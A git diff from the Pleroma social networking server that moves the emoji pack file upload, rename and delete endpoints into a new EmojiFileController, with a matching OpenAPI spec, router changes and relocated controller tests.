+++++++++++++++++++++ .../controllers/emoji_pack_controller_test.exs | 287 ------------------- 7 files changed, 577 insertions(+), 501 deletions(-) create mode 100644 lib/pleroma/web/api_spec/operations/pleroma_emoji_file_operation.ex create mode 100644 lib/pleroma/web/pleroma_api/controllers/emoji_file_controller.ex create mode 100644 test/web/pleroma_api/controllers/emoji_file_controller_test.exs diff --git a/lib/pleroma/web/api_spec/operations/pleroma_emoji_file_operation.ex b/lib/pleroma/web/api_spec/operations/pleroma_emoji_file_operation.ex new file mode 100644 index 000000000..b6932157a --- /dev/null +++ b/lib/pleroma/web/api_spec/operations/pleroma_emoji_file_operation.ex @@ -0,0 +1,133 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ApiSpec.PleromaEmojiFileOperation do + alias OpenApiSpex.Operation + alias OpenApiSpex.Schema + alias Pleroma.Web.ApiSpec.Schemas.ApiError + + import Pleroma.Web.ApiSpec.Helpers + + def open_api_operation(action) do + operation = String.to_existing_atom("#{action}_operation") + apply(__MODULE__, operation, []) + end + + def create_operation do + %Operation{ + tags: ["Emoji Packs"], + summary: "Add new file to the pack", + operationId: "PleromaAPI.EmojiPackController.add_file", + security: [%{"oAuth" => ["write"]}], + requestBody: request_body("Parameters", create_request(), required: true), + parameters: [name_param()], + responses: %{ + 200 => Operation.response("Files Object", "application/json", files_object()), + 400 => Operation.response("Bad Request", "application/json", ApiError), + 409 => Operation.response("Conflict", "application/json", ApiError) + } + } + end + + defp create_request do + %Schema{ + type: :object, + required: [:file], + properties: %{ + file: %Schema{ + description: + "File needs to be uploaded with the multipart request or link to remote file", + anyOf: [ + %Schema{type: :string, format: :binary}, + %Schema{type: :string, format: :uri} + ] + }, + shortcode: %Schema{ + type: :string, + description: + "Shortcode for new emoji, must be unique for all emoji. If not sended, shortcode will be taken from original filename." + }, + filename: %Schema{ + type: :string, + description: + "New emoji file name. If not specified will be taken from original filename." + } + } + } + end + + def update_operation do + %Operation{ + tags: ["Emoji Packs"], + summary: "Add new file to the pack", + operationId: "PleromaAPI.EmojiPackController.update_file", + security: [%{"oAuth" => ["write"]}], + requestBody: request_body("Parameters", update_request(), required: true), + parameters: [name_param()], + responses: %{ + 200 => Operation.response("Files Object", "application/json", files_object()), + 400 => Operation.response("Bad Request", "application/json", ApiError), + 409 => Operation.response("Conflict", "application/json", ApiError) + } + } + end + + defp update_request do + %Schema{ + type: :object, + required: [:shortcode, :new_shortcode, :new_filename], + properties: %{ + shortcode: %Schema{ + type: :string, + description: "Emoji file shortcode" + }, + new_shortcode: %Schema{ + type: :string, + description: "New emoji file shortcode" + }, + new_filename: %Schema{ + type: :string, + description: "New filename for emoji file" + }, + force: %Schema{ + type: :boolean, + description: "With true value to overwrite existing emoji with new shortcode", + default: false + } + } + } + end + + def delete_operation do + %Operation{ + tags: ["Emoji Packs"], + summary: "Delete emoji file from pack", + operationId: "PleromaAPI.EmojiPackController.delete_file", + security: [%{"oAuth" => ["write"]}], + parameters: [ + name_param(), + Operation.parameter(:shortcode, :query, :string, "File shortcode", + example: "cofe", + required: true + ) + ], + responses: %{ + 200 => Operation.response("Files Object", "application/json", files_object()), + 400 => Operation.response("Bad Request", "application/json", ApiError) + } + } + end + + defp name_param do + Operation.parameter(:name, :path, :string, "Pack Name", example: "cofe", required: true) + end + + defp files_object do + %Schema{ + type: :object, + additionalProperties: %Schema{type: :string}, + description: "Object with emoji names as keys and filenames as values" + } + end +end diff --git a/lib/pleroma/web/api_spec/operations/pleroma_emoji_pack_operation.ex b/lib/pleroma/web/api_spec/operations/pleroma_emoji_pack_operation.ex index b2b4f8713..59548af13 100644 --- a/lib/pleroma/web/api_spec/operations/pleroma_emoji_pack_operation.ex +++ b/lib/pleroma/web/api_spec/operations/pleroma_emoji_pack_operation.ex @@ -175,111 +175,6 @@ def update_operation do } end - def add_file_operation do - %Operation{ - tags: ["Emoji Packs"], - summary: "Add new file to the pack", - operationId: "PleromaAPI.EmojiPackController.add_file", - security: [%{"oAuth" => ["write"]}], - requestBody: request_body("Parameters", add_file_request(), required: true), - parameters: [name_param()], - responses: %{ - 200 => Operation.response("Files Object", "application/json", files_object()), - 400 => Operation.response("Bad Request", "application/json", ApiError), - 409 => Operation.response("Conflict", "application/json", ApiError) - } - } - end - - defp add_file_request do - %Schema{ - type: :object, - required: [:file], - properties: %{ - file: %Schema{ - description: - "File needs to be uploaded with the multipart request or link to remote file", - anyOf: [ - %Schema{type: :string, format: :binary}, - %Schema{type: :string, format: :uri} - ] - }, - shortcode: %Schema{ - type: :string, - description: - "Shortcode for new emoji, must be unique for all emoji. If not sended, shortcode will be taken from original filename." - }, - filename: %Schema{ - type: :string, - description: - "New emoji file name. If not specified will be taken from original filename." - } - } - } - end - - def update_file_operation do - %Operation{ - tags: ["Emoji Packs"], - summary: "Add new file to the pack", - operationId: "PleromaAPI.EmojiPackController.update_file", - security: [%{"oAuth" => ["write"]}], - requestBody: request_body("Parameters", update_file_request(), required: true), - parameters: [name_param()], - responses: %{ - 200 => Operation.response("Files Object", "application/json", files_object()), - 400 => Operation.response("Bad Request", "application/json", ApiError), - 409 => Operation.response("Conflict", "application/json", ApiError) - } - } - end - - defp update_file_request do - %Schema{ - type: :object, - required: [:shortcode, :new_shortcode, :new_filename], - properties: %{ - shortcode: %Schema{ - type: :string, - description: "Emoji file shortcode" - }, - new_shortcode: %Schema{ - type: :string, - description: "New emoji file shortcode" - }, - new_filename: %Schema{ - type: :string, - description: "New filename for emoji file" - }, - force: %Schema{ - type: :boolean, - description: "With true value to overwrite existing emoji with new shortcode", - default: false - } - } - } - end - - def delete_file_operation do - %Operation{ - tags: ["Emoji Packs"], - summary: "Delete emoji file from pack", - operationId: "PleromaAPI.EmojiPackController.delete_file", - security: [%{"oAuth" => ["write"]}], - parameters: [ - name_param(), - Operation.parameter(:shortcode, :query, :string, "File shortcode", - example: "cofe", - required: true - ) - ], - responses: %{ - 200 => Operation.response("Files Object", "application/json", files_object()), - 400 => Operation.response("Bad Request", "application/json", ApiError) - } - } - end - def import_from_filesystem_operation do %Operation{ tags: ["Emoji Packs"], diff --git a/lib/pleroma/web/pleroma_api/controllers/emoji_file_controller.ex b/lib/pleroma/web/pleroma_api/controllers/emoji_file_controller.ex new file mode 100644 index 000000000..ba9f07795 --- /dev/null +++ b/lib/pleroma/web/pleroma_api/controllers/emoji_file_controller.ex @@ -0,0 +1,122 @@ +defmodule Pleroma.Web.PleromaAPI.EmojiFileController do + use Pleroma.Web, :controller + + alias Pleroma.Emoji.Pack + alias Pleroma.Web.ApiSpec + + plug(Pleroma.Web.ApiSpec.CastAndValidate) + + plug( + Pleroma.Plugs.OAuthScopesPlug, + %{scopes: ["write"], admin: true} + when action in [ + :create, + :update, + :delete + ] + ) + + defdelegate open_api_operation(action), to: ApiSpec.PleromaEmojiFileOperation + + def create(%{body_params: params} = conn, %{name: pack_name}) do + filename = params[:filename] || get_filename(params[:file]) + shortcode = params[:shortcode] || Path.basename(filename, Path.extname(filename)) + + with {:ok, pack} <- Pack.add_file(pack_name, shortcode, filename, params[:file]) do + json(conn, pack.files) + else + {:error, :already_exists} -> + conn + |> put_status(:conflict) + |> json(%{error: "An emoji with the \"#{shortcode}\" shortcode already exists"}) + + {:error, :not_found} -> + conn + |> put_status(:bad_request) + |> json(%{error: "pack \"#{pack_name}\" is not found"}) + + {:error, :empty_values} -> + conn + |> put_status(:bad_request) + |> json(%{error: "pack name, shortcode or filename cannot be empty"}) + + {:error, _} -> + render_error( + conn, + :internal_server_error, + "Unexpected error occurred while adding file to pack." + ) + end + end + + def update(%{body_params: %{shortcode: shortcode} = params} = conn, %{name: pack_name}) do + new_shortcode = params[:new_shortcode] + new_filename = params[:new_filename] + force = params[:force] + + with {:ok, pack} <- Pack.update_file(pack_name, shortcode, new_shortcode, new_filename, force) do + json(conn, pack.files) + else + {:error, :doesnt_exist} -> + conn + |> put_status(:bad_request) + |> json(%{error: "Emoji \"#{shortcode}\" does not exist"}) + + {:error, :already_exists} -> + conn + |> put_status(:conflict) + |> json(%{ + error: + "New shortcode \"#{new_shortcode}\" is already used. If you want to override emoji use 'force' option" + }) + + {:error, :not_found} -> + conn + |> put_status(:bad_request) + |> json(%{error: "pack \"#{pack_name}\" is not found"}) + + {:error, :empty_values} -> + conn + |> put_status(:bad_request) + |> json(%{error: "new_shortcode or new_filename cannot be empty"}) + + {:error, _} -> + render_error( + conn, + :internal_server_error, + "Unexpected error occurred while updating file in pack." + ) + end + end + + def delete(conn, %{name: pack_name, shortcode: shortcode}) do + with {:ok, pack} <- Pack.delete_file(pack_name, shortcode) do + json(conn, pack.files) + else + {:error, :doesnt_exist} -> + conn + |> put_status(:bad_request) + |> json(%{error: "Emoji \"#{shortcode}\" does not exist"}) + + {:error, :not_found} -> + conn + |> put_status(:bad_request) + |> json(%{error: "pack \"#{pack_name}\" is not found"}) + + {:error, :empty_values} -> + conn + |> put_status(:bad_request) + |> json(%{error: "pack name or shortcode cannot be empty"}) + + {:error, _} -> + render_error( + conn, + :internal_server_error, + "Unexpected error occurred while removing file from pack." + ) + end + end + + defp get_filename(%Plug.Upload{filename: filename}), do: filename + defp get_filename(url) when is_binary(url), do: Path.basename(url) +end diff --git a/lib/pleroma/web/pleroma_api/controllers/emoji_pack_controller.ex b/lib/pleroma/web/pleroma_api/controllers/emoji_pack_controller.ex index 657f46324..e3969fee1 100644 --- a/lib/pleroma/web/pleroma_api/controllers/emoji_pack_controller.ex +++ b/lib/pleroma/web/pleroma_api/controllers/emoji_pack_controller.ex @@ -14,10 +14,7 @@ defmodule Pleroma.Web.PleromaAPI.EmojiPackController do :download, :create, :update, - :delete, - :add_file, - :update_file, - :delete_file + :delete ] ) @@ -184,105 +181,6 @@ def update(%{body_params: %{metadata: metadata}} = conn, %{name: name}) do end end - def add_file(%{body_params: params} = conn, %{name: name}) do - filename = params[:filename] || get_filename(params[:file]) - shortcode = params[:shortcode] || Path.basename(filename, Path.extname(filename)) - - with {:ok, pack} <- Pack.add_file(name, shortcode, filename, params[:file]) do - json(conn, pack.files) - else - {:error, :already_exists} -> - conn - |> put_status(:conflict) - |> json(%{error: "An emoji with the \"#{shortcode}\" shortcode already exists"}) - - {:error, :not_found} -> - conn - |> put_status(:bad_request) - |> json(%{error: "pack \"#{name}\" is not found"}) - - {:error, :empty_values} -> - conn - |> put_status(:bad_request) - |> json(%{error: "pack name, shortcode or filename cannot be empty"}) - - {:error, _} -> - render_error( - conn, - :internal_server_error, - "Unexpected error occurred while adding file to pack." - ) - end - end - - def update_file(%{body_params: %{shortcode: shortcode} = params} = conn, %{name: name}) do - new_shortcode = params[:new_shortcode] - new_filename = params[:new_filename] - force = params[:force] - - with {:ok, pack} <- Pack.update_file(name, shortcode, new_shortcode, new_filename, force) do - json(conn, pack.files) - else - {:error, :doesnt_exist} -> - conn - |> put_status(:bad_request) - |> json(%{error: "Emoji \"#{shortcode}\" does not exist"}) - - {:error, :already_exists} -> - conn - |> put_status(:conflict) - |> json(%{ - error: - "New shortcode \"#{new_shortcode}\" is already used. If you want to override emoji use 'force' option" - }) - - {:error, :not_found} -> - conn - |> put_status(:bad_request) - |> json(%{error: "pack \"#{name}\" is not found"}) - - {:error, :empty_values} -> - conn - |> put_status(:bad_request) - |> json(%{error: "new_shortcode or new_filename cannot be empty"}) - - {:error, _} -> - render_error( - conn, - :internal_server_error, - "Unexpected error occurred while updating file in pack." - ) - end - end - - def delete_file(conn, %{name: name, shortcode: shortcode}) do - with {:ok, pack} <- Pack.delete_file(name, shortcode) do - json(conn, pack.files) - else - {:error, :doesnt_exist} -> - conn - |> put_status(:bad_request) - |> json(%{error: "Emoji \"#{shortcode}\" does not exist"}) - - {:error, :not_found} -> - conn - |> put_status(:bad_request) - |> json(%{error: "pack \"#{name}\" is not found"}) - - {:error, :empty_values} -> - conn - |> put_status(:bad_request) - |> json(%{error: "pack name or shortcode cannot be empty"}) - - {:error, _} -> - render_error( - conn, - :internal_server_error, - "Unexpected error occurred while removing file from pack." - ) - end - end - def import_from_filesystem(conn, _params) do with {:ok, names} <- Pack.import_from_filesystem() do json(conn, names) @@ -298,7 +196,4 @@ def import_from_filesystem(conn, _params) do |> json(%{error: "Error accessing emoji pack directory"}) end end - - defp get_filename(%Plug.Upload{filename: filename}), do: filename - defp get_filename(url) when is_binary(url), do: Path.basename(url) end diff --git a/lib/pleroma/web/router.ex b/lib/pleroma/web/router.ex index c6433cc53..8a307d591 100644 --- a/lib/pleroma/web/router.ex +++ b/lib/pleroma/web/router.ex @@ -229,9 +229,9 @@ defmodule Pleroma.Web.Router do patch("/:name", EmojiPackController, :update) delete("/:name", EmojiPackController, :delete) - post("/:name/files", EmojiPackController, :add_file) - patch("/:name/files", EmojiPackController, :update_file) - delete("/:name/files", EmojiPackController, :delete_file) + post("/:name/files", EmojiFileController, :create) + patch("/:name/files", EmojiFileController, :update) + delete("/:name/files", EmojiFileController, :delete) end # Pack info / downloading diff --git a/test/web/pleroma_api/controllers/emoji_file_controller_test.exs b/test/web/pleroma_api/controllers/emoji_file_controller_test.exs new file mode 100644 index 000000000..56be130be --- /dev/null +++ b/test/web/pleroma_api/controllers/emoji_file_controller_test.exs @@ -0,0 +1,318 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.PleromaAPI.EmojiFileControllerTest do + use Pleroma.Web.ConnCase + + import Tesla.Mock + import Pleroma.Factory + + @emoji_path Path.join( + Pleroma.Config.get!([:instance, :static_dir]), + "emoji" + ) + setup do: clear_config([:auth, :enforce_oauth_admin_scope_usage], false) + + setup do: clear_config([:instance, :public], true) + + setup do + admin = insert(:user, is_admin: true) + token = insert(:oauth_admin_token, user: admin) + + admin_conn = + build_conn() + |> assign(:user, admin) + |> assign(:token, token) + + Pleroma.Emoji.reload() + {:ok, %{admin_conn: admin_conn}} + end + + describe "POST/PATCH/DELETE /api/pleroma/emoji/packs/:name/files" do + setup do + pack_file = "#{@emoji_path}/test_pack/pack.json" + original_content = File.read!(pack_file) + + on_exit(fn -> + File.write!(pack_file, original_content) + end) + + :ok + end + + test "create shortcode exists", %{admin_conn: admin_conn} do + assert admin_conn + |> put_req_header("content-type", "multipart/form-data") + |> post("/api/pleroma/emoji/packs/test_pack/files", %{ + shortcode: "blank", + filename: "dir/blank.png", + file: %Plug.Upload{ + filename: "blank.png", + path: "#{@emoji_path}/test_pack/blank.png" + } + }) + |> json_response_and_validate_schema(:conflict) == %{ + "error" => "An emoji with the \"blank\" shortcode already exists" + } + end + + test "don't rewrite old emoji", %{admin_conn: admin_conn} do + on_exit(fn -> File.rm_rf!("#{@emoji_path}/test_pack/dir/") end) + + assert admin_conn + |> put_req_header("content-type", "multipart/form-data") + |> post("/api/pleroma/emoji/packs/test_pack/files", %{ + shortcode: "blank3", + filename: "dir/blank.png", + file: %Plug.Upload{ + filename: "blank.png", + path: "#{@emoji_path}/test_pack/blank.png" + } + }) + |> json_response_and_validate_schema(200) == %{ + "blank" => "blank.png", + "blank2" => "blank2.png", + "blank3" => "dir/blank.png" + } + + assert File.exists?("#{@emoji_path}/test_pack/dir/blank.png") + + assert admin_conn + |> put_req_header("content-type", "multipart/form-data") + |> patch("/api/pleroma/emoji/packs/test_pack/files", %{ + shortcode: "blank", + new_shortcode: "blank2", + new_filename: "dir_2/blank_3.png" + }) + |> json_response_and_validate_schema(:conflict) == %{ + "error" => + "New shortcode \"blank2\" is already used. If you want to override emoji use 'force' option" + } + end + + test "rewrite old emoji with force option", %{admin_conn: admin_conn} do + on_exit(fn -> File.rm_rf!("#{@emoji_path}/test_pack/dir_2/") end) + + assert admin_conn + |> put_req_header("content-type", "multipart/form-data") + |> post("/api/pleroma/emoji/packs/test_pack/files", %{ + shortcode: "blank3", + filename: "dir/blank.png", + file: %Plug.Upload{ + filename: "blank.png", + path: "#{@emoji_path}/test_pack/blank.png" + } + }) + |> json_response_and_validate_schema(200) == %{ + "blank" => "blank.png", + "blank2" => "blank2.png", + "blank3" => "dir/blank.png" + } + + assert File.exists?("#{@emoji_path}/test_pack/dir/blank.png") + + assert admin_conn + |> put_req_header("content-type", "multipart/form-data") + |> patch("/api/pleroma/emoji/packs/test_pack/files", %{ + shortcode: "blank3", + new_shortcode: "blank4", + new_filename: "dir_2/blank_3.png", + force: true + }) + |> json_response_and_validate_schema(200) == %{ + "blank" => "blank.png", + "blank2" => "blank2.png", + "blank4" => "dir_2/blank_3.png" + } + + assert File.exists?("#{@emoji_path}/test_pack/dir_2/blank_3.png") + end + + test "with empty filename", %{admin_conn: admin_conn} do + assert admin_conn + |> put_req_header("content-type", "multipart/form-data") + |> post("/api/pleroma/emoji/packs/test_pack/files", %{ + shortcode: "blank2", + filename: "", + file: %Plug.Upload{ + filename: "blank.png", + path: "#{@emoji_path}/test_pack/blank.png" + } + }) + |> json_response_and_validate_schema(:bad_request) == %{ + "error" => "pack name, shortcode or filename cannot be empty" + } + end + + test "add file with not loaded pack", %{admin_conn: admin_conn} do + assert admin_conn + |> put_req_header("content-type", "multipart/form-data") + |> post("/api/pleroma/emoji/packs/not_loaded/files", %{ + shortcode: "blank3", + filename: "dir/blank.png", + file: %Plug.Upload{ + filename: "blank.png", + path: "#{@emoji_path}/test_pack/blank.png" + } + }) + |> json_response_and_validate_schema(:bad_request) == %{ + "error" => "pack \"not_loaded\" is not found" + } + end + + test "remove file with not loaded pack", %{admin_conn: admin_conn} do + assert admin_conn + |> delete("/api/pleroma/emoji/packs/not_loaded/files?shortcode=blank3") + |> json_response_and_validate_schema(:bad_request) == %{ + "error" => "pack \"not_loaded\" is not found" + } + end + + test "remove file with empty shortcode", %{admin_conn: admin_conn} do + assert admin_conn + |> delete("/api/pleroma/emoji/packs/not_loaded/files?shortcode=") + |> json_response_and_validate_schema(:bad_request) == %{ + "error" => "pack name or shortcode cannot be empty" + } + end + + test "update file with not loaded pack", %{admin_conn: admin_conn} do + assert admin_conn + |> put_req_header("content-type", "multipart/form-data") + |> patch("/api/pleroma/emoji/packs/not_loaded/files", %{ + shortcode: "blank4", + new_shortcode: "blank3", + new_filename: "dir_2/blank_3.png" + }) + |> json_response_and_validate_schema(:bad_request) == %{ + "error" => "pack \"not_loaded\" is not found" + } + end + + test "new with shortcode as file with update", %{admin_conn: admin_conn} do + assert admin_conn + |> put_req_header("content-type", "multipart/form-data") + |> post("/api/pleroma/emoji/packs/test_pack/files", %{ + shortcode: "blank4", + filename: "dir/blank.png", + file: %Plug.Upload{ + filename: "blank.png", + path: "#{@emoji_path}/test_pack/blank.png" + } + }) + |> json_response_and_validate_schema(200) == %{ + "blank" => "blank.png", + "blank4" => "dir/blank.png", + "blank2" => "blank2.png" + } + + assert File.exists?("#{@emoji_path}/test_pack/dir/blank.png") + + assert admin_conn + |> put_req_header("content-type", "multipart/form-data") + |> patch("/api/pleroma/emoji/packs/test_pack/files", %{ + shortcode: "blank4", + new_shortcode: "blank3", + new_filename: "dir_2/blank_3.png" + }) + |> json_response_and_validate_schema(200) == %{ + "blank3" => "dir_2/blank_3.png", + "blank" => "blank.png", + "blank2" => "blank2.png" + } + + refute File.exists?("#{@emoji_path}/test_pack/dir/") + assert File.exists?("#{@emoji_path}/test_pack/dir_2/blank_3.png") + + assert admin_conn + |> delete("/api/pleroma/emoji/packs/test_pack/files?shortcode=blank3") + |> json_response_and_validate_schema(200) == %{ + "blank" => "blank.png", + "blank2" => "blank2.png" + } + + refute File.exists?("#{@emoji_path}/test_pack/dir_2/") + + on_exit(fn -> File.rm_rf!("#{@emoji_path}/test_pack/dir") end) + end + + test "new with shortcode from url", %{admin_conn: admin_conn} do + mock(fn + %{ + method: :get, + url: "https://test-blank/blank_url.png" + } -> + text(File.read!("#{@emoji_path}/test_pack/blank.png")) + end) + + assert admin_conn + |> put_req_header("content-type", "multipart/form-data") + |> post("/api/pleroma/emoji/packs/test_pack/files", %{ + shortcode: "blank_url", + file: "https://test-blank/blank_url.png" + }) + |> json_response_and_validate_schema(200) == %{ + "blank_url" => "blank_url.png", + "blank" => "blank.png", + "blank2" => "blank2.png" + } + + assert File.exists?("#{@emoji_path}/test_pack/blank_url.png") + + on_exit(fn -> File.rm_rf!("#{@emoji_path}/test_pack/blank_url.png") end) + end + + test "new without shortcode", %{admin_conn: admin_conn} do + on_exit(fn -> File.rm_rf!("#{@emoji_path}/test_pack/shortcode.png") end) + + assert admin_conn + |> put_req_header("content-type", "multipart/form-data") + |> post("/api/pleroma/emoji/packs/test_pack/files", %{ + file: %Plug.Upload{ + filename: "shortcode.png", + path: "#{Pleroma.Config.get([:instance, :static_dir])}/add/shortcode.png" + } + }) + |> json_response_and_validate_schema(200) == %{ + "shortcode" => "shortcode.png", + "blank" => "blank.png", + "blank2" => "blank2.png" + } + end + + test "remove non existing shortcode in pack.json", %{admin_conn: admin_conn} do + assert admin_conn + |> delete("/api/pleroma/emoji/packs/test_pack/files?shortcode=blank3") + |> json_response_and_validate_schema(:bad_request) == %{ + "error" => "Emoji \"blank3\" does not exist" + } + end + + test "update non existing emoji", %{admin_conn: admin_conn} do + assert admin_conn + |> put_req_header("content-type", "multipart/form-data") + |> patch("/api/pleroma/emoji/packs/test_pack/files", %{ + shortcode: "blank3", + new_shortcode: "blank4", + new_filename: "dir_2/blank_3.png" + }) + |> json_response_and_validate_schema(:bad_request) == %{ + "error" => "Emoji \"blank3\" does not exist" + } + end + + test "update with empty shortcode", %{admin_conn: admin_conn} do + assert %{ + "error" => "Missing field: new_shortcode." + } = + admin_conn + |> put_req_header("content-type", "multipart/form-data") + |> patch("/api/pleroma/emoji/packs/test_pack/files", %{ + shortcode: "blank", + new_filename: "dir_2/blank_3.png" + }) + |> json_response_and_validate_schema(:bad_request) + end + end +end diff --git a/test/web/pleroma_api/controllers/emoji_pack_controller_test.exs b/test/web/pleroma_api/controllers/emoji_pack_controller_test.exs index e113bb15f..a34df2c18 100644 --- a/test/web/pleroma_api/controllers/emoji_pack_controller_test.exs +++ b/test/web/pleroma_api/controllers/emoji_pack_controller_test.exs @@ -411,293 +411,6 @@ test "when the fallback source doesn't have all the files", ctx do end end - describe "POST/PATCH/DELETE /api/pleroma/emoji/packs/:name/files" do - setup do - pack_file = "#{@emoji_path}/test_pack/pack.json" - original_content = File.read!(pack_file) - - on_exit(fn -> - File.write!(pack_file, original_content) - end) - - :ok - end - - test "create shortcode exists", %{admin_conn: admin_conn} do - assert admin_conn - |> put_req_header("content-type", "multipart/form-data") - |> post("/api/pleroma/emoji/packs/test_pack/files", %{ - shortcode: "blank", - filename: "dir/blank.png", - file: %Plug.Upload{ - filename: "blank.png", - path: "#{@emoji_path}/test_pack/blank.png" - } - }) - |> json_response_and_validate_schema(:conflict) == %{ - "error" => "An emoji with the \"blank\" shortcode already exists" - } - end - - test "don't rewrite old emoji", %{admin_conn: admin_conn} do - on_exit(fn -> File.rm_rf!("#{@emoji_path}/test_pack/dir/") end) - - assert admin_conn - |> put_req_header("content-type", "multipart/form-data") - |> post("/api/pleroma/emoji/packs/test_pack/files", %{ - shortcode: "blank3", - filename: "dir/blank.png", - file: %Plug.Upload{ - filename: "blank.png", - path: "#{@emoji_path}/test_pack/blank.png" - } - }) - |> json_response_and_validate_schema(200) == %{ - "blank" => "blank.png", - "blank2" => "blank2.png", - "blank3" => "dir/blank.png" - } - - assert File.exists?("#{@emoji_path}/test_pack/dir/blank.png") - - assert admin_conn - |> put_req_header("content-type", "multipart/form-data") - |> patch("/api/pleroma/emoji/packs/test_pack/files", %{ - shortcode: "blank", - new_shortcode: "blank2", - new_filename: "dir_2/blank_3.png" - }) - |> json_response_and_validate_schema(:conflict) == %{ - "error" => - "New shortcode \"blank2\" is already used. If you want to override emoji use 'force' option" - } - end - - test "rewrite old emoji with force option", %{admin_conn: admin_conn} do - on_exit(fn -> File.rm_rf!("#{@emoji_path}/test_pack/dir_2/") end) - - assert admin_conn - |> put_req_header("content-type", "multipart/form-data") - |> post("/api/pleroma/emoji/packs/test_pack/files", %{ - shortcode: "blank3", - filename: "dir/blank.png", - file: %Plug.Upload{ - filename: "blank.png", - path: "#{@emoji_path}/test_pack/blank.png" - } - }) - |> json_response_and_validate_schema(200) == %{ - "blank" => "blank.png", - "blank2" => "blank2.png", - "blank3" => "dir/blank.png" - } - - assert File.exists?("#{@emoji_path}/test_pack/dir/blank.png") - - assert admin_conn - |> put_req_header("content-type", "multipart/form-data") - |> patch("/api/pleroma/emoji/packs/test_pack/files", %{ - shortcode: "blank3", - new_shortcode: "blank4", - new_filename: "dir_2/blank_3.png", - force: true - }) - |> json_response_and_validate_schema(200) == %{ - "blank" => "blank.png", - "blank2" => "blank2.png", - "blank4" => "dir_2/blank_3.png" - } - - assert File.exists?("#{@emoji_path}/test_pack/dir_2/blank_3.png") - end - - test "with empty filename", %{admin_conn: admin_conn} do - assert admin_conn - |> put_req_header("content-type", "multipart/form-data") - |> post("/api/pleroma/emoji/packs/test_pack/files", %{ - shortcode: "blank2", - filename: "", - file: %Plug.Upload{ - filename: "blank.png", - path: "#{@emoji_path}/test_pack/blank.png" - } - }) - |> json_response_and_validate_schema(:bad_request) == %{ - "error" => "pack name, shortcode or filename cannot be empty" - } - end - - test "add file with not loaded pack", %{admin_conn: admin_conn} do - assert admin_conn - |> put_req_header("content-type", "multipart/form-data") - |> post("/api/pleroma/emoji/packs/not_loaded/files", %{ - shortcode: "blank3", - filename: "dir/blank.png", - file: %Plug.Upload{ - filename: "blank.png", - path: "#{@emoji_path}/test_pack/blank.png" - } - }) - |> json_response_and_validate_schema(:bad_request) == %{ - "error" => "pack \"not_loaded\" is not found" - } - end - - test "remove file with not loaded pack", %{admin_conn: admin_conn} do - assert admin_conn - |> delete("/api/pleroma/emoji/packs/not_loaded/files?shortcode=blank3") - |> json_response_and_validate_schema(:bad_request) == %{ - "error" => "pack \"not_loaded\" is not found" - } - end - - test "remove file with empty shortcode", %{admin_conn: admin_conn} do - assert admin_conn - |> delete("/api/pleroma/emoji/packs/not_loaded/files?shortcode=") - |> json_response_and_validate_schema(:bad_request) == %{ - "error" => "pack name or shortcode cannot be empty" - } - end - - test "update file with not loaded pack", %{admin_conn: admin_conn} do - assert admin_conn - |> put_req_header("content-type", "multipart/form-data") - |> patch("/api/pleroma/emoji/packs/not_loaded/files", %{ - shortcode: "blank4", - new_shortcode: "blank3", - new_filename: "dir_2/blank_3.png" - }) - |> json_response_and_validate_schema(:bad_request) == %{ - "error" => "pack \"not_loaded\" is not found" - } - end - - test "new with shortcode as file with update", %{admin_conn: admin_conn} do - assert admin_conn - |> put_req_header("content-type", "multipart/form-data") - |> post("/api/pleroma/emoji/packs/test_pack/files", %{ - shortcode: "blank4", - filename: "dir/blank.png", - file: %Plug.Upload{ - filename: "blank.png", - path: "#{@emoji_path}/test_pack/blank.png" - } - }) - |> json_response_and_validate_schema(200) == %{ - "blank" => "blank.png", - "blank4" => "dir/blank.png", - "blank2" => "blank2.png" - } - - assert File.exists?("#{@emoji_path}/test_pack/dir/blank.png") - - assert admin_conn - |> put_req_header("content-type", "multipart/form-data") - |> patch("/api/pleroma/emoji/packs/test_pack/files", %{ - shortcode: "blank4", - new_shortcode: "blank3", - new_filename: "dir_2/blank_3.png" - }) - |> json_response_and_validate_schema(200) == %{ - "blank3" => "dir_2/blank_3.png", - "blank" => "blank.png", - "blank2" => "blank2.png" - } - - refute File.exists?("#{@emoji_path}/test_pack/dir/") - assert File.exists?("#{@emoji_path}/test_pack/dir_2/blank_3.png") - - assert admin_conn - |> delete("/api/pleroma/emoji/packs/test_pack/files?shortcode=blank3") - |> json_response_and_validate_schema(200) == %{ - "blank" => "blank.png", - "blank2" => "blank2.png" - } - - refute File.exists?("#{@emoji_path}/test_pack/dir_2/") - - on_exit(fn -> File.rm_rf!("#{@emoji_path}/test_pack/dir") end) - end - - test "new with shortcode from url", %{admin_conn: admin_conn} do - mock(fn - %{ - method: :get, - url: "https://test-blank/blank_url.png" - } -> - text(File.read!("#{@emoji_path}/test_pack/blank.png")) - end) - - assert admin_conn - |> put_req_header("content-type", "multipart/form-data") - |> post("/api/pleroma/emoji/packs/test_pack/files", %{ - shortcode: "blank_url", - file: "https://test-blank/blank_url.png" - }) - |> json_response_and_validate_schema(200) == %{ - "blank_url" => "blank_url.png", - "blank" => "blank.png", - "blank2" => "blank2.png" - } - - assert File.exists?("#{@emoji_path}/test_pack/blank_url.png") - - on_exit(fn -> File.rm_rf!("#{@emoji_path}/test_pack/blank_url.png") end) - end - - test "new without shortcode", %{admin_conn: admin_conn} do - on_exit(fn -> File.rm_rf!("#{@emoji_path}/test_pack/shortcode.png") end) - - assert admin_conn - |> put_req_header("content-type", "multipart/form-data") - |> post("/api/pleroma/emoji/packs/test_pack/files", %{ - file: %Plug.Upload{ - filename: "shortcode.png", - path: "#{Pleroma.Config.get([:instance, :static_dir])}/add/shortcode.png" - } - }) - |> json_response_and_validate_schema(200) == %{ - "shortcode" => "shortcode.png", - "blank" => "blank.png", - "blank2" => "blank2.png" - } - end - - test "remove non existing shortcode in pack.json", %{admin_conn: admin_conn} do - assert admin_conn - |> delete("/api/pleroma/emoji/packs/test_pack/files?shortcode=blank3") - |> json_response_and_validate_schema(:bad_request) == %{ - "error" => "Emoji \"blank3\" does not exist" - } - end - - test "update non existing emoji", %{admin_conn: admin_conn} do - assert admin_conn - |> put_req_header("content-type", "multipart/form-data") - |> patch("/api/pleroma/emoji/packs/test_pack/files", %{ - shortcode: "blank3", - new_shortcode: "blank4", - new_filename: "dir_2/blank_3.png" - }) - |> json_response_and_validate_schema(:bad_request) == %{ - "error" => 